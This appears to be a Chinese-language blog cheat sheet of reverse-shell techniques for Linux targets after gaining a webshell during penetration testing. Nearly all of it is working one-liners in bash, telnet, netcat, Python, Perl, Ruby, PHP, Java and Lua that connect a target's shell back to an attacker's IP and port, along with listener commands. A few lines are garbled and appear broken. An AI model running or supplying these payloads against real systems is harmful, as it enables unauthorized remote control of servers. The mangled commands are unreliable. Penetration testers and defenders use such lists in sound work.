弹shell的多种姿势小记

弹shell的多种姿势小记

在渗透测试的过程中，当拿到webshell以后，如果目标主机是Windows主机，则是通过开3389端口在远程连接。如果目标主机是linux服务器，一般会选择反弹shell来进行操作，在这里简单总结下反弹shell常见的几种姿势。

01、

exec 0&0 2>&0

0<&196;exec 196<>/dev/tcp/your ip/port; sh <&196 >&196 2>&196

/bin/bash  -i > /dev/tcp/your ip/port 0<&1 2>&1

02、

exec 5<>/dev/tcp/your ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done

03、
攻击者主机上执行监听：

nc -lvvp port

目标主机执行：

bash -i >& /dev/tcp/your ip/port 0>&1

#bash -i 打开一个交互式的bash
#>& 将标准错误输出重定向到标准输出
#/dev/tcp/your ip/port 意为调用socket,建立socket连接,其中your ip为要反弹到的主机ip，port为端口
#0>&1 标准输入重定向到标准输出，实现你与反弹出来的shell的交互

Linux shell下常用的文件描述符是：
1.标准输入 (stdin) ：代码为 0 ，使用 < 或 << ；
2.标准输出 (stdout)：代码为 1 ，使用 > 或 >> ；
3.标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>>。
另外由于不同Linux发行版之间的差异，该命令在某些系统上可能并不适用

04、
telnet反弹
攻击者主机上打开两个终端分别执行监听：

nc -lvvp 8888
nc -lvvp 8889

目标主机中执行：

telnet your ip 8888 | /bin/bash | telnet your ip 8889

监听两个端口分别用来输入和输出，其中your ip均为攻击者的ip
反弹shell成功后，在监听8888端口的终端中执行命令可以在另一个终端中看到命令执行结果。

05、

rm -f /tmp/p; mknod /tmp/p p && telnet your ip port 0/tmp/p

06、
nc反弹
攻击者主机上执行监听命令：

nc -lvvp port

目标主机上执行：

nc -e /bin/bash your ip port

若目标主机linux发行版本没有 -e 参数，还有以下几种方式：

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc your ip port >/tmp/f

07、
python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

08、
perl反弹

perl -e 'use Socket;$i="your ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

09、
ruby反弹

法一：

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("your ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

法二：

ruby -rsocket -e'f=TCPSocket.open("your ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

10、
php反弹

php -r '$sock=fsockopen("your ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

11、
java反弹
脚本如下：

public class Revs {
/**
* @param args
* @throws Exception 
*/
public static void main(String[] args) throws Exception {
    // TODO Auto-generated method stub
    Runtime r = Runtime.getRuntime();
    String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/your ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
    Process p = r.exec(cmd);
    p.waitFor();
}
}

12、
lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('your ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

以上是几种最常见的反弹shell的方式，欢迎大家进行补充！！！